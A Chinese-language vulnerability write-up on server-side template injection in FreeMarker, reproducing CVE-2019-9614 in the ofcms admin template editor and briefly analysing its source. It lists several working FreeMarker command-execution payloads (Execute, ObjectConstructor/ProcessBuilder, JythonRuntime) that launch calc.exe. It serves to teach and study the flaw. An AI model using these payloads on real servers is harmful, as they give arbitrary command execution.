从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞(freemarker模板)

https://www.cnvd.org.cn/flaw/show/CNVD-2019-08488
思路:
1、pom.xml的时候发现存在模版引擎freemarker
http://t.zoukankan.com/Eleven-Liu-p-12747908.html
2、寻找修改模版的地方
TemplateController.java
3、添加执行Payload
<#assign ex=“freemarker.template.utility.Execute”?new()>${ ex(“calc”) }

壹   什么是SSTI漏洞

SSTI:Server Side Template Injection   服务器端模板注入漏洞

既然是注入漏洞,那么它所运用的核心思想就和XSSSQL注入差不多,都是运用不安全的用户输入,将正常的数据接收处进行恶意输入,导致服务器将用户输入数据当成代码并执行,从而完成一些危险的行为

我们针对SSTI来看,他的主要载体是web站点MVC架构之上,也就是从用户可控的服务器模板代码处进行注入

经典MVC模式中,M是指业务模型,V是指用户界面,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。

MVC框架将用户输入通过V传给C,由控制器C进行甄别分发,看是传递给M或者是其他的C,最后将服务器返回的数据值传递给V,最后由服务器进行渲染最终返回给浏览器,呈现在用户面前;

我们这里通过控制恶意的数据传递给V,V传递到后面进行一系列的处理最终吧黑客想要的结果返回;

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

这里贴一张图,展示了常见语言的常见模板框架,以及其基本语法格式:

口说无凭,下面我们来看看ofcms中存在的SSTI漏洞

 

 

 

贰   CVE-2019-9614漏洞复现

CVE官网链接:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9614

先登录进ofcms的后台admin管理界面;然后再模板文件中课编辑Freemarker的模板代码(这想想就....实在是不安全);随机挑选一个幸运页面,进行payload注入;

Payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

然后从前台进入该页面(联系我们)

于是便完成了系统命令执行的操作:

 

 

 

 

叁   ofcms的freemarker模板源码简要分析

我们从项目的pom.xml文件中可以得知,该项目使用了Freemarker 2.3.21版本

该模板管理功能界面源码为 /ofcms-admin/src/main/java/com.ofcms.cms/admin/cms/TemplateController.java

从源码中可以看到该功能支持freemarker模板文件的热处理,编辑保存等功能

我们来看模板目录:

与其一一对应的是.../webapp/WEB-INF/page/default/下的html文件

但是我们在网页端进行实时模板更改的时候,后台网页文件并不会有变化,这里应该是作者在freemarker框架上二次开发了一个热处理功能从而可以进行模板编辑;作者还是很牛逼的,ofcms整个系统架构逻辑严密,分工明确,功能也十分得强大,就是在某些小地方的疏忽倒是存在不安全的因素(其实大部分的不安全因素都可以通过部署waf来缓解,从而进行治标不治本的操作)

 

 

 

肆   小结

SSTI漏洞的应用常见十分的多元化,甚至可以在XFF头部注入中进行利用;大多数的语言开发框架都会使用模板进行快速开发,以减少开发周期,开发时间提高开发效率;但是安全和方便是两个水火不容的东西,要想安全便只能舍弃快捷,反之亦然;

网上大多数的SSTI漏洞描述都是基于php的PHPthink框架进行的,这里贴几个java的freemarker开发框架SSTI的POC:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}                  //本漏洞POC

 

 

参考博客:

http://lanbainan.cn/2020/05/20/2020-05-20/

https://www.cnblogs.com/bmjoker/p/13508538.html

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值